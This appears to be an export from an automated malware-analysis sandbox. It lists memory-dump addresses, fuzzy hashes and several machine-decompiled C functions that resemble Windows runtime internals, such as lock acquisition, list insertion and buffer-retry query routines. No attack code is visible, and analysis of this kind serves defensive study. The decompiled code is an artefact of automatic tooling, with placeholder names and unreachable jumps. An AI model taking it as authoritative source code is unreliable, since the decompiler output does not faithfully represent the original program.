0x0129dc66
0x0129dc6b
0x0129dc78
0x0129dc7b
0x0129dc81
0x0129dc81
0x0129dc83
0x0129dc89
0x00000000
0x00000000
0x0129dd7b
0x0129dd7b
0x0129dc8f
0x0129dc8f
0x0129dc92
0x0129dc99
0x0129dc9f
0x0129dca5
0x0129dcaa
0x0129dcaa
0x0129dcb3
0x0129dcb8
0x0129dcbb
0x0129dcc1
0x0129dccf
0x0129dcd2
0x0129dcd5
0x0129dcd7
0x0129dcda
0x0129dcdc
0x0129dcdc
0x0129dce2
0x0129dce4
0x00000000
0x0129dce4

Memory Dump Source

Source File: 00000004.00000002.320829169.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 86795faf3e41b4ce10ce7c34ad772d67837dc65a9faf8fa54ade37ca5bb01b5e
Instruction ID: 9d7bab3569ef930b57d6908d650f6c9144159b039215c612e34455c078ad3097
Opcode Fuzzy Hash: 86795faf3e41b4ce10ce7c34ad772d67837dc65a9faf8fa54ade37ca5bb01b5e
Instruction Fuzzy Hash: AF519D72A1161ADFCF14CFACC490AAEBBF5BF58310F24815AD655A7344DB70AD44CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 0128EF40, Relevance: .1, Instructions: 147
COMMON

Download Yara Rule

C-Code - Quality: 96%

			E0128EF40(intOrPtr __ecx) {
				char _v5;
				char _v6;
				char _v7;
				char _v8;
				signed int _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr _t58;
				char _t59;
				signed char _t69;
				void* _t73;
				signed int _t74;
				char _t79;
				signed char _t81;
				signed int _t85;
				signed int _t87;
				intOrPtr _t90;
				signed char* _t91;
				void* _t92;
				signed int _t94;
				void* _t96;

				_t90 = __ecx;
				_v16 = __ecx;
				if(( *(__ecx + 0x14) & 0x04000000) != 0) {
					_t58 =  *((intOrPtr*)(__ecx));
					if(_t58 != 0xffffffff &&  *((intOrPtr*)(_t58 + 8)) == 0) {
						E01279080(_t73, __ecx, __ecx, _t92);
					}
				}
				_t74 = 0;
				_t96 =  *0x7ffe036a - 1;
				_v12 = 0;
				_v7 = 0;
				if(_t96 > 0) {
					_t74 =  *(_t90 + 0x14) & 0x00ffffff;
					_v12 = _t74;
					_v7 = _t96 != 0;
				}
				_t79 = 0;
				_v8 = 0;
				_v5 = 0;
				while(1) {
					L4:
					_t59 = 1;
					L5:
					while(1) {
						if(_t59 == 0) {
							L12:
							_t21 = _t90 + 4; // 0x772ac21e
							_t87 =  *_t21;
							_v6 = 0;
							if(_t79 != 0) {
								if((_t87 & 0x00000002) != 0) {
									goto L19;
								}
								if((_t87 & 0x00000001) != 0) {
									_v6 = 1;
									_t74 = _t87 ^ 0x00000003;
								} else {
									_t51 = _t87 - 2; // -2
									_t74 = _t51;
								}
								goto L15;
							} else {
								if((_t87 & 0x00000001) != 0) {
									_v6 = 1;
									_t74 = _t87 ^ 0x00000001;
								} else {
									_t26 = _t87 - 4; // -4
									_t74 = _t26;
									if((_t74 & 0x00000002) == 0) {
										_t74 = _t74 - 2;
									}
								}
								L15:
								if(_t74 == _t87) {
									L19:
									E01272D8A(_t74, _t90, _t87, _t90);
									_t74 = _v12;
									_v8 = 1;
									if(_v7 != 0 && _t74 > 0x64) {
										_t74 = _t74 - 1;
										_v12 = _t74;
									}
									_t79 = _v5;
									goto L4;
								}
								asm("lock cmpxchg [esi], ecx");
								if(_t87 != _t87) {
									_t74 = _v12;
									_t59 = 0;
									_t79 = _v5;
									continue;
								}
								if(_v6 != 0) {
									_t74 = _v12;
									L25:
									if(_v7 != 0) {
										if(_t74 < 0x7d0) {
											if(_v8 == 0) {
												_t74 = _t74 + 1;
											}
										}
										_t38 = _t90 + 0x14; // 0x0
										_t39 = _t90 + 0x14; // 0x0
										_t85 = ( *_t38 ^ _t74) & 0x00ffffff ^  *_t39;
										if( *((intOrPtr*)( *[fs:0x30] + 0x64)) == 1) {
											_t85 = _t85 & 0xff000000;
										}
										 *(_t90 + 0x14) = _t85;
									}
									 *((intOrPtr*)(_t90 + 0xc)) =  *((intOrPtr*)( *[fs:0x18] + 0x24));
									 *((intOrPtr*)(_t90 + 8)) = 1;
									return 0;
								}
								_v5 = 1;
								_t87 = _t74;
								goto L19;
							}
						}
						_t94 = _t74;
						_v20 = 1 + (0 | _t79 != 0x00000000) * 2;
						if(_t74 == 0) {
							goto L12;
						} else {
							_t91 = _t90 + 4;
							goto L8;
							L9:
							while((_t81 & 0x00000001) != 0) {
								_t69 = _t81;
								asm("lock cmpxchg [edi], edx");
								if(_t69 != _t81) {
									_t81 = _t69;
									continue;
								}
								_t90 = _v16;
								goto L25;
							}
							asm("pause");
							_t94 = _t94 - 1;
							if(_t94 != 0) {
								L8:
								_t81 =  *_t91;
								goto L9;
							} else {
								_t90 = _v16;
								_t79 = _v5;
								goto L12;
							}
						}
					}
				}
			}

0x0128ef4b
0x0128ef4d
0x0128ef57
0x0128f0bd
0x0128f0c2
0x0128f0d2
0x0128f0d2
0x0128f0c2
0x0128ef5d
0x0128ef5f
0x0128ef67
0x0128ef6a
0x0128ef6d
0x0128ef74
0x0128ef7f
0x0128ef82
0x0128ef82
0x0128ef86
0x0128ef88
0x0128ef8c
0x0128ef8f
0x0128ef8f
0x0128ef8f
0x00000000
0x0128ef91
0x0128ef93
0x0128efc4
0x0128efc4
0x0128efc4
0x0128efca
0x0128efd0
0x0128f0a6
0x00000000
0x00000000
0x0128f0af
0x012dbb06
0x012dbb0a
0x0128f0b5
0x0128f0b5
0x0128f0b5
0x0128f0b5
0x00000000
0x0128efd6
0x0128efd9
0x0128f0de
0x0128f0e2
0x0128efdf
0x0128efdf
0x0128efdf
0x0128efe5
0x012dbafc
0x012dbafc
0x0128efe5
0x0128efeb
0x0128efed
0x0128f00f
0x0128f011
0x0128f01a
0x0128f01d
0x0128f021
0x0128f028
0x0128f029
0x0128f029
0x0128f02c
0x00000000
0x0128f02c
0x0128eff3
0x0128eff9
0x0128f0ea
0x0128f0ed
0x0128f0ef
0x00000000
0x0128f0ef
0x0128f003
0x012dbb12
0x0128f045
0x0128f049
0x0128f051
0x0128f09e
0x0128f0a0
0x0128f0a0
0x0128f09e
0x0128f053
0x0128f064
0x0128f064
0x0128f06b
0x012dbb1a
0x012dbb1a
0x0128f071
0x0128f071
0x0128f07d
0x0128f082
0x0128f08f
0x0128f08f
0x0128f009
0x0128f00d
0x00000000
0x0128f00d
0x0128efd0
0x0128ef97
0x0128efa5
0x0128efaa
0x00000000
0x0128efac
0x0128efac
0x0128efac
0x00000000
0x0128efb2
0x0128f036
0x0128f03a
0x0128f040
0x0128f090
0x00000000
0x0128f092
0x0128f042
0x00000000
0x0128f042
0x0128efb7
0x0128efb9
0x0128efbc
0x0128efb0
0x0128efb0
0x00000000
0x0128efbe
0x0128efbe
0x0128efc1
0x00000000
0x0128efc1
0x0128efbc
0x0128efaa
0x0128ef91

Memory Dump Source

Source File: 00000004.00000002.320829169.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fbecc144452e6e9740e37df579310400ca1de53fcc592e2907188de4c37816b0
Instruction ID: a546422ee8bf3061c29e91c8d7d99219e52485ffec67dbaca78ab4ee735030b2
Opcode Fuzzy Hash: fbecc144452e6e9740e37df579310400ca1de53fcc592e2907188de4c37816b0
Instruction Fuzzy Hash: EC514830E26246DFEB21EB6CC1D17AEBBF1AF15314F1981A8C645973C2C375A98AC741

Uniqueness

Uniqueness Score: -1.00%

Function 0134740D, Relevance: .1, Instructions: 141
COMMON

Download Yara Rule

C-Code - Quality: 84%

			E0134740D(intOrPtr __ecx, signed short* __edx, intOrPtr _a4) {
				signed short* _v8;
				intOrPtr _v12;
				intOrPtr _t55;
				void* _t56;
				intOrPtr* _t66;
				intOrPtr* _t69;
				void* _t74;
				intOrPtr* _t78;
				intOrPtr* _t81;
				intOrPtr* _t82;
				intOrPtr _t83;
				signed short* _t84;
				intOrPtr _t85;
				signed int _t87;
				intOrPtr* _t90;
				intOrPtr* _t93;
				intOrPtr* _t94;
				void* _t98;

				_t84 = __edx;
				_t80 = __ecx;
				_push(__ecx);
				_push(__ecx);
				_t55 = __ecx;
				_v8 = __edx;
				_t87 =  *__edx & 0x0000ffff;
				_v12 = __ecx;
				_t3 = _t55 + 0x154; // 0x154
				_t93 = _t3;
				_t78 =  *_t93;
				_t4 = _t87 + 2; // 0x2
				_t56 = _t4;
				while(_t78 != _t93) {
					if( *((intOrPtr*)(_t78 + 0x14)) != _t56) {
						L4:
						_t78 =  *_t78;
						continue;
					} else {
						_t7 = _t78 + 0x18; // 0x18
						if(E012CD4F0(_t7, _t84[2], _t87) == _t87) {
							_t40 = _t78 + 0xc; // 0xc
							_t94 = _t40;
							_t90 =  *_t94;
							while(_t90 != _t94) {
								_t41 = _t90 + 8; // 0x8
								_t74 = E012BF380(_a4, _t41, 0x10);
								_t98 = _t98 + 0xc;
								if(_t74 != 0) {
									_t90 =  *_t90;
									continue;
								}
								goto L12;
							}
							_t82 = L01294620(_t80,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, 0x18);
							if(_t82 != 0) {
								_t46 = _t78 + 0xc; // 0xc
								_t69 = _t46;
								asm("movsd");
								asm("movsd");
								asm("movsd");
								asm("movsd");
								_t85 =  *_t69;
								if( *((intOrPtr*)(_t85 + 4)) != _t69) {
									L20:
									_t82 = 3;
									asm("int 0x29");
								}
								 *((intOrPtr*)(_t82 + 4)) = _t69;
								 *_t82 = _t85;
								 *((intOrPtr*)(_t85 + 4)) = _t82;
								 *_t69 = _t82;
								 *(_t78 + 8) =  *(_t78 + 8) + 1;
								 *(_v12 + 0xdc) =  *(_v12 + 0xdc) | 0x00000010;
								goto L11;
							} else {
								L18:
								_push(0xe);
								_pop(0);
							}
						} else {
							_t84 = _v8;
							_t9 = _t87 + 2; // 0x2
							_t56 = _t9;
							goto L4;
						}
					}
					L12:
					return 0;
				}
				_t10 = _t87 + 0x1a; // 0x1a
				_t78 = L01294620(_t80,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _t10);
				if(_t78 == 0) {
					goto L18;
				} else {
					_t12 = _t87 + 2; // 0x2
					 *((intOrPtr*)(_t78 + 0x14)) = _t12;
					_t16 = _t78 + 0x18; // 0x18
					E012BF3E0(_t16, _v8[2], _t87);
					 *((short*)(_t78 + _t87 + 0x18)) = 0;
					_t19 = _t78 + 0xc; // 0xc
					_t66 = _t19;
					 *((intOrPtr*)(_t66 + 4)) = _t66;
					 *_t66 = _t66;
					 *(_t78 + 8) =  *(_t78 + 8) & 0x00000000;
					_t81 = L01294620(_t80,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, 0x18);
					if(_t81 == 0) {
						goto L18;
					} else {
						_t26 = _t78 + 0xc; // 0xc
						_t69 = _t26;
						asm("movsd");
						asm("movsd");
						asm("movsd");
						asm("movsd");
						_t85 =  *_t69;
						if( *((intOrPtr*)(_t85 + 4)) != _t69) {
							goto L20;
						} else {
							 *((intOrPtr*)(_t81 + 4)) = _t69;
							 *_t81 = _t85;
							 *((intOrPtr*)(_t85 + 4)) = _t81;
							 *_t69 = _t81;
							_t83 = _v12;
							 *(_t78 + 8) = 1;
							 *(_t83 + 0xdc) =  *(_t83 + 0xdc) | 0x00000010;
							_t34 = _t83 + 0x154; // 0x1ba
							_t69 = _t34;
							_t85 =  *_t69;
							if( *((intOrPtr*)(_t85 + 4)) != _t69) {
								goto L20;
							} else {
								 *_t78 = _t85;
								 *((intOrPtr*)(_t78 + 4)) = _t69;
								 *((intOrPtr*)(_t85 + 4)) = _t78;
								 *_t69 = _t78;
								 *(_t83 + 0xdc) =  *(_t83 + 0xdc) | 0x00000010;
							}
						}
						goto L11;
					}
				}
				goto L12;
			}

0x0134740d
0x0134740d
0x01347412
0x01347413
0x01347416
0x01347418
0x0134741c
0x0134741f
0x01347422
0x01347422
0x01347428
0x0134742a
0x0134742a
0x01347451
0x01347432
0x0134744f
0x0134744f
0x00000000
0x01347434
0x01347438
0x01347443
0x01347517
0x01347517
0x0134751a
0x01347535
0x01347520
0x01347527
0x0134752c
0x01347531
0x01347533
0x00000000
0x01347533
0x00000000
0x01347531
0x0134754b
0x0134754f
0x0134755c
0x0134755c
0x0134755f
0x01347560
0x01347561
0x01347562
0x01347563
0x01347568
0x0134756a
0x0134756c
0x0134756d
0x0134756d
0x0134756f
0x01347572
0x01347574
0x01347577
0x0134757c
0x0134757f
0x00000000
0x01347551
0x01347551
0x01347551
0x01347553
0x01347553
0x01347449
0x01347449
0x0134744c
0x0134744c
0x00000000
0x0134744c
0x01347443
0x0134750e
0x01347514
0x01347514
0x01347455
0x01347469
0x0134746d
0x00000000
0x01347473
0x01347473
0x01347476
0x01347480
0x01347484
0x0134748e
0x01347493
0x01347493
0x01347496
0x01347499
0x013474a1
0x013474b1
0x013474b5
0x00000000
0x013474bb
0x013474c1
0x013474c1
0x013474c4
0x013474c5
0x013474c6
0x013474c7
0x013474c8
0x013474cd
0x00000000
0x013474d3
0x013474d3
0x013474d6
0x013474d8
0x013474db
0x013474dd
0x013474e0
0x013474e7
0x013474ee
0x013474ee
0x013474f4
0x013474f9
0x00000000
0x013474fb
0x013474fb
0x013474fd
0x01347500
0x01347503
0x01347505
0x01347505
0x013474f9
0x00000000
0x013474cd
0x013474b5
0x00000000

Memory Dump Source

Source File: 00000004.00000002.320829169.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 01a4d08349e29d22493120a27b3d49beb444160764ac4f0ac8d9a4757e3060ec
Instruction ID: 9683613d1afeca27e2ce3f7676f560d762ce85794f5c1ab1620251bd944194cb
Opcode Fuzzy Hash: 01a4d08349e29d22493120a27b3d49beb444160764ac4f0ac8d9a4757e3060ec
Instruction Fuzzy Hash: 93516D71600646EFDB26CF58C580A96BBF5FF45308F1581AAE908DF212E771E946CBE0

Uniqueness

Uniqueness Score: -1.00%

Function 012A2990, Relevance: .1, Instructions: 133
COMMON

Download Yara Rule

C-Code - Quality: 97%

			E012A2990() {
				signed int* _t62;
				signed int _t64;
				intOrPtr _t66;
				signed short* _t69;
				intOrPtr _t76;
				signed short* _t79;
				void* _t81;
				signed int _t82;
				signed short* _t83;
				signed int _t87;
				intOrPtr _t91;
				void* _t98;
				signed int _t99;
				void* _t101;
				signed int* _t102;
				void* _t103;
				void* _t104;
				void* _t107;

				_push(0x20);
				_push(0x134ff00);
				E012CD08C(_t81, _t98, _t101);
				 *((intOrPtr*)(_t103 - 0x28)) =  *[fs:0x18];
				_t99 = 0;
				 *((intOrPtr*)( *((intOrPtr*)(_t103 + 0x1c)))) = 0;
				_t82 =  *((intOrPtr*)(_t103 + 0x10));
				if(_t82 == 0) {
					_t62 = 0xc0000100;
				} else {
					 *((intOrPtr*)(_t103 - 4)) = 0;
					_t102 = 0xc0000100;
					 *((intOrPtr*)(_t103 - 0x30)) = 0xc0000100;
					_t64 = 4;
					while(1) {
						 *(_t103 - 0x24) = _t64;
						if(_t64 == 0) {
							break;
						}
						_t87 = _t64 * 0xc;
						 *(_t103 - 0x2c) = _t87;
						_t107 = _t82 -  *((intOrPtr*)(_t87 + 0x1251664));
						if(_t107 <= 0) {
							if(_t107 == 0) {
								_t79 = E012BE5C0( *((intOrPtr*)(_t103 + 0xc)),  *((intOrPtr*)(_t87 + 0x1251668)), _t82);
								_t104 = _t104 + 0xc;
								__eflags = _t79;
								if(__eflags == 0) {
									_t102 = E012F51BE(_t82,  *((intOrPtr*)( *(_t103 - 0x2c) + 0x125166c)),  *((intOrPtr*)(_t103 + 0x14)), _t99, _t102, __eflags,  *((intOrPtr*)(_t103 + 0x18)),  *((intOrPtr*)(_t103 + 0x1c)));
									 *((intOrPtr*)(_t103 - 0x30)) = _t102;
									break;
								} else {
									_t64 =  *(_t103 - 0x24);
									goto L5;
								}
								goto L13;
							} else {
								L5:
								_t64 = _t64 - 1;
								continue;
							}
						}
						break;
					}
					 *((intOrPtr*)(_t103 - 0x1c)) = _t102;
					__eflags = _t102;
					if(_t102 < 0) {
						__eflags = _t102 - 0xc0000100;
						if(_t102 == 0xc0000100) {
							_t83 =  *((intOrPtr*)(_t103 + 8));
							__eflags = _t83;
							if(_t83 != 0) {
								 *((intOrPtr*)(_t103 - 0x20)) = _t83;
								__eflags =  *_t83 - _t99;
								if( *_t83 == _t99) {
									_t102 = 0xc0000100;
									goto L19;
								} else {
									_t91 =  *((intOrPtr*)( *((intOrPtr*)(_t103 - 0x28)) + 0x30));
									_t66 =  *((intOrPtr*)(_t91 + 0x10));
									__eflags =  *((intOrPtr*)(_t66 + 0x48)) - _t83;
									if( *((intOrPtr*)(_t66 + 0x48)) == _t83) {
										__eflags =  *((intOrPtr*)(_t91 + 0x1c));
										if( *((intOrPtr*)(_t91 + 0x1c)) == 0) {
											L26:
											_t102 = E012A2AE4(_t103 - 0x20,  *((intOrPtr*)(_t103 + 0xc)), _t82,  *((intOrPtr*)(_t103 + 0x14)),  *((intOrPtr*)(_t103 + 0x18)),  *((intOrPtr*)(_t103 + 0x1c)));
											 *((intOrPtr*)(_t103 - 0x1c)) = _t102;
											__eflags = _t102 - 0xc0000100;
											if(_t102 != 0xc0000100) {
												goto L12;
											} else {
												_t99 = 1;
												_t83 =  *((intOrPtr*)(_t103 - 0x20));
												goto L18;
											}
										} else {
											_t69 = E01286600( *((intOrPtr*)(_t91 + 0x1c)));
											__eflags = _t69;
											if(_t69 != 0) {
												goto L26;
											} else {
												_t83 =  *((intOrPtr*)(_t103 + 8));
												goto L18;
											}
										}
									} else {
										L18:
										_t102 = E012A2C50(_t83,  *((intOrPtr*)(_t103 + 0xc)), _t82,  *((intOrPtr*)(_t103 + 0x14)),  *((intOrPtr*)(_t103 + 0x18)),  *((intOrPtr*)(_t103 + 0x1c)), _t99);
										L19:
										 *((intOrPtr*)(_t103 - 0x1c)) = _t102;
										goto L12;
									}
								}
								L28:
							} else {
								E0128EEF0( *((intOrPtr*)( *[fs:0x30] + 0x1c)));
								 *((intOrPtr*)(_t103 - 4)) = 1;
								 *((intOrPtr*)(_t103 - 0x20)) =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t103 - 0x28)) + 0x30)) + 0x10)) + 0x48));
								_t102 =  *((intOrPtr*)(_t103 + 0x1c));
								_t76 = E012A2AE4(_t103 - 0x20,  *((intOrPtr*)(_t103 + 0xc)), _t82,  *((intOrPtr*)(_t103 + 0x14)),  *((intOrPtr*)(_t103 + 0x18)), _t102);
								 *((intOrPtr*)(_t103 - 0x1c)) = _t76;
								__eflags = _t76 - 0xc0000100;
								if(_t76 == 0xc0000100) {
									 *((intOrPtr*)(_t103 - 0x1c)) = E012A2C50( *((intOrPtr*)(_t103 - 0x20)),  *((intOrPtr*)(_t103 + 0xc)), _t82,  *((intOrPtr*)(_t103 + 0x14)),  *((intOrPtr*)(_t103 + 0x18)), _t102, 1);
								}
								 *((intOrPtr*)(_t103 - 4)) = _t99;
								E012A2ACB();
							}
						}
					}
					L12:
					 *((intOrPtr*)(_t103 - 4)) = 0xfffffffe;
					_t62 = _t102;
				}
				L13:
				return E012CD0D1(_t62);
				goto L28;
			}

0x012a2990
0x012a2992
0x012a2997
0x012a29a3
0x012a29a6
0x012a29ab
0x012a29ad
0x012a29b2
0x012e5c80
0x012a29b8
0x012a29b8
0x012a29bb
0x012a29c0
0x012a29c5
0x012a29c6
0x012a29c6
0x012a29cb
0x00000000
0x00000000
0x012a29cd
0x012a29d0
0x012a29d9
0x012a29db
0x012a29dd
0x012a2a7f
0x012a2a84
0x012a2a87
0x012a2a89
0x012e5ca1
0x012e5ca3
0x00000000
0x012a2a8f
0x012a2a8f
0x00000000
0x012a2a8f
0x00000000
0x012a29e3
0x012a29e3
0x012a29e3
0x00000000
0x012a29e3
0x012a29dd
0x00000000
0x012a29db
0x012a29e6
0x012a29e9
0x012a29eb
0x012a29ed
0x012a29f3
0x012a29f5
0x012a29f8
0x012a29fa
0x012a2a97
0x012a2a9a
0x012a2a9d
0x012a2add
0x00000000
0x012a2a9f
0x012a2aa2
0x012a2aa5
0x012a2aa8
0x012a2aab
0x012e5cab
0x012e5caf
0x012e5cc5
0x012e5cda
0x012e5cdc
0x012e5cdf
0x012e5ce5
0x00000000
0x012e5ceb
0x012e5ced
0x012e5cee
0x00000000
0x012e5cee
0x012e5cb1
0x012e5cb4
0x012e5cb9
0x012e5cbb
0x00000000
0x012e5cbd
0x012e5cbd
0x00000000
0x012e5cbd
0x012e5cbb
0x012a2ab1
0x012a2ab1
0x012a2ac4
0x012a2ac6
0x012a2ac6
0x00000000
0x012a2ac6
0x012a2aab
0x00000000
0x012a2a00
0x012a2a09
0x012a2a0e
0x012a2a21
0x012a2a24
0x012a2a35
0x012a2a3a
0x012a2a3d
0x012a2a42
0x012a2a59
0x012a2a59
0x012a2a5c
0x012a2a5f
0x012a2a5f
0x012a29fa
0x012a29f3
0x012a2a64
0x012a2a64
0x012a2a6b
0x012a2a6b
0x012a2a6d
0x012a2a72
0x00000000

Memory Dump Source

Source File: 00000004.00000002.320829169.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7cec2a9ef787526b3a36d482de0d1f1a87e5fb635434a3098572daa2fa0fa44c
Instruction ID: 6ef5fca8c310b07979e22dd2bf1ad1fb1b24af2daf771144b4ed1c05d99ff7ac
Opcode Fuzzy Hash: 7cec2a9ef787526b3a36d482de0d1f1a87e5fb635434a3098572daa2fa0fa44c
Instruction Fuzzy Hash: 21518A3192020ADFDF25DF99C890AEEBBB5BF08754F548115EA00AB361D3759D52CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 012A4BAD, Relevance: .1, Instructions: 131
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E012A4BAD(intOrPtr __ecx, short __edx, signed char _a4, signed short _a8) {
				signed int _v8;
				short _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				char _v36;
				char _v156;
				short _v158;
				intOrPtr _v160;
				char _v164;
				intOrPtr _v168;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t45;
				intOrPtr _t74;
				signed char _t77;
				intOrPtr _t84;
				char* _t85;
				void* _t86;
				intOrPtr _t87;
				signed short _t88;
				signed int _t89;

				_t83 = __edx;
				_v8 =  *0x136d360 ^ _t89;
				_t45 = _a8 & 0x0000ffff;
				_v158 = __edx;
				_v168 = __ecx;
				if(_t45 == 0) {
					L22:
					_t86 = 6;
					L12:
					E0127CC50(_t86);
					L11:
					return E012BB640(_t86, _t77, _v8 ^ _t89, _t83, _t84, _t86);
				}
				_t77 = _a4;
				if((_t77 & 0x00000001) != 0) {
					goto L22;
				}
				_t8 = _t77 + 0x34; // 0xdce0ba00
				if(_t45 !=  *_t8) {
					goto L22;
				}
				_t9 = _t77 + 0x24; // 0x1368504
				E01292280(_t9, _t9);
				_t87 = 0x78;
				 *(_t77 + 0x2c) =  *( *[fs:0x18] + 0x24);
				E012BFA60( &_v156, 0, _t87);
				_t13 = _t77 + 0x30; // 0x3db8
				_t85 =  &_v156;
				_v36 =  *_t13;
				_v28 = _v168;
				_v32 = 0;
				_v24 = 0;
				_v20 = _v158;
				_v160 = 0;
				while(1) {
					_push( &_v164);
					_push(_t87);
					_push(_t85);
					_push(0x18);
					_push( &_v36);
					_push(0x1e);
					_t88 = E012BB0B0();
					if(_t88 != 0xc0000023) {
						break;
					}
					if(_t85 !=  &_v156) {
						L012977F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t85);
					}
					_t84 = L01294620(0,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _v164);
					_v168 = _v164;
					if(_t84 == 0) {
						_t88 = 0xc0000017;
						goto L19;
					} else {
						_t74 = _v160 + 1;
						_v160 = _t74;
						if(_t74 >= 0x10) {
							L19:
							_t86 = E0127CCC0(_t88);
							if(_t86 != 0) {
								L8:
								 *(_t77 + 0x2c) =  *(_t77 + 0x2c) & 0x00000000;
								_t30 = _t77 + 0x24; // 0x1368504
								E0128FFB0(_t77, _t84, _t30);
								if(_t84 != 0 && _t84 !=  &_v156) {
									L012977F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t84);
								}
								if(_t86 != 0) {
									goto L12;
								} else {
									goto L11;
								}
							}
							L6:
							 *(_t77 + 0x36) =  *(_t77 + 0x36) | 0x00004000;
							if(_v164 != 0) {
								_t83 = _t84;
								E012A4F49(_t77, _t84);
							}
							goto L8;
						}
						_t87 = _v168;
						continue;
					}
				}
				if(_t88 != 0) {
					goto L19;
				}
				goto L6;
			}

0x012a4bad
0x012a4bbf
0x012a4bc2
0x012a4bc6
0x012a4bcd
0x012a4bd9
0x012e67fe
0x012e6800
0x012a4ccc
0x012a4ccd
0x012a4cb7
0x012a4cc9
0x012a4cc9
0x012a4bdf
0x012a4be5
0x00000000
0x00000000
0x012a4beb
0x012a4bef
0x00000000
0x00000000
0x012a4bf5
0x012a4bf9
0x012a4c06
0x012a4c0b
0x012a4c17
0x012a4c1c
0x012a4c1f
0x012a4c25
0x012a4c33
0x012a4c3d
0x012a4c40
0x012a4c43
0x012a4c47
0x012a4c4d
0x012a4c53
0x012a4c54
0x012a4c55
0x012a4c56
0x012a4c5b
0x012a4c5c
0x012a4c63
0x012a4c6b
0x00000000
0x00000000
0x012e6776
0x012e6784
0x012e6784
0x012e679f
0x012e67a7
0x012e67af
0x012e67ce
0x00000000
0x012e67b1
0x012e67b7
0x012e67b8
0x012e67c1
0x012e67d3
0x012e67d9
0x012e67dd
0x012a4c94
0x012a4c94
0x012a4c98
0x012a4c9c
0x012a4ca3
0x012e67f4
0x012e67f4
0x012a4cb5
0x00000000
0x00000000
0x00000000
0x00000000
0x012a4cb5
0x012a4c79
0x012a4c7e
0x012a4c89
0x012a4c8b
0x012a4c8f
0x012a4c8f
0x00000000
0x012a4c89
0x012e67c3
0x00000000
0x012e67c3
0x012e67af
0x012a4c73
0x00000000
0x00000000
0x00000000

Memory Dump Source

Source File: 00000004.00000002.320829169.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 462d35dfd0e651a7b9707249512611f16e33eeac757edbe78cf2620c4782b500
Instruction ID: 345dd0a121e8357275e4ff5981a7151bf0b52c6f4d1e5587b3ecb6bdbdde2867
Opcode Fuzzy Hash: 462d35dfd0e651a7b9707249512611f16e33eeac757edbe78cf2620c4782b500
Instruction Fuzzy Hash: 3A41C531A602699FDB21EF68C944BEE77F5EF55740F4500A5EA08AB241E774DE80CB90

Uniqueness

Uniqueness Score: -1.00%

Function 012A4D3B, Relevance: .1, Instructions: 131
COMMON

Download Yara Rule

C-Code - Quality: 78%

			E012A4D3B(intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4) {
				signed int _v12;
				char _v176;
				char _v177;
				char _v184;
				intOrPtr _v192;
				intOrPtr _v196;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed short _t42;
				char* _t44;
				intOrPtr _t46;
				intOrPtr _t50;
				char* _t57;
				intOrPtr _t59;
				intOrPtr _t67;
				signed int _t69;

				_t64 = __edx;
				_v12 =  *0x136d360 ^ _t69;
				_t65 = 0xa0;
				_v196 = __edx;
				_v177 = 0;
				_t67 = __ecx;
				_v192 = __ecx;
				E012BFA60( &_v176, 0, 0xa0);
				_t57 =  &_v176;
				_t59 = 0xa0;
				if( *0x1367bc8 != 0) {
					L3:
					while(1) {
						asm("movsd");
						asm("movsd");
						asm("movsd");
						asm("movsd");
						_t67 = _v192;
						 *((intOrPtr*)(_t57 + 0x10)) = _a4;
						 *(_t57 + 0x24) =  *(_t57 + 0x24) & 0x00000000;
						 *(_t57 + 0x14) =  *(_t67 + 0x34) & 0x0000ffff;
						 *((intOrPtr*)(_t57 + 0x20)) = _v196;
						_push( &_v184);
						_push(_t59);
						_push(_t57);
						_push(0xa0);
						_push(_t57);
						_push(0xf);
						_t42 = E012BB0B0();
						if(_t42 != 0xc0000023) {
							break;
						}
						if(_v177 != 0) {
							L012977F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t57);
						}
						_v177 = 1;
						_t44 = L01294620(_t59,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _v184);
						_t59 = _v184;
						_t57 = _t44;
						if(_t57 != 0) {
							continue;
						} else {
							_t42 = 0xc0000017;
							break;
						}
					}
					if(_t42 != 0) {
						_t65 = E0127CCC0(_t42);
						if(_t65 != 0) {
							L10:
							if(_v177 != 0) {
								if(_t57 != 0) {
									L012977F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t57);
								}
							}
							_t46 = _t65;
							L12:
							return E012BB640(_t46, _t57, _v12 ^ _t69, _t64, _t65, _t67);
						}
						L7:
						_t50 = _a4;
						 *((intOrPtr*)(_t67 + 0x30)) =  *((intOrPtr*)(_t57 + 0x18));
						if(_t50 != 3) {
							if(_t50 == 2) {
								goto L8;
							}
							L9:
							if(E012BF380(_t67 + 0xc, 0x1255138, 0x10) == 0) {
								 *0x13660d8 = _t67;
							}
							goto L10;
						}
						L8:
						_t64 = _t57 + 0x28;
						E012A4F49(_t67, _t57 + 0x28);
						goto L9;
					}
					_t65 = 0;
					goto L7;
				}
				if(E012A4E70(0x13686b0, 0x12a5690, 0, 0) != 0) {
					_t46 = E0127CCC0(_t56);
					goto L12;
				} else {
					_t59 = 0xa0;
					goto L3;
				}
			}

0x012a4d3b
0x012a4d4d
0x012a4d53
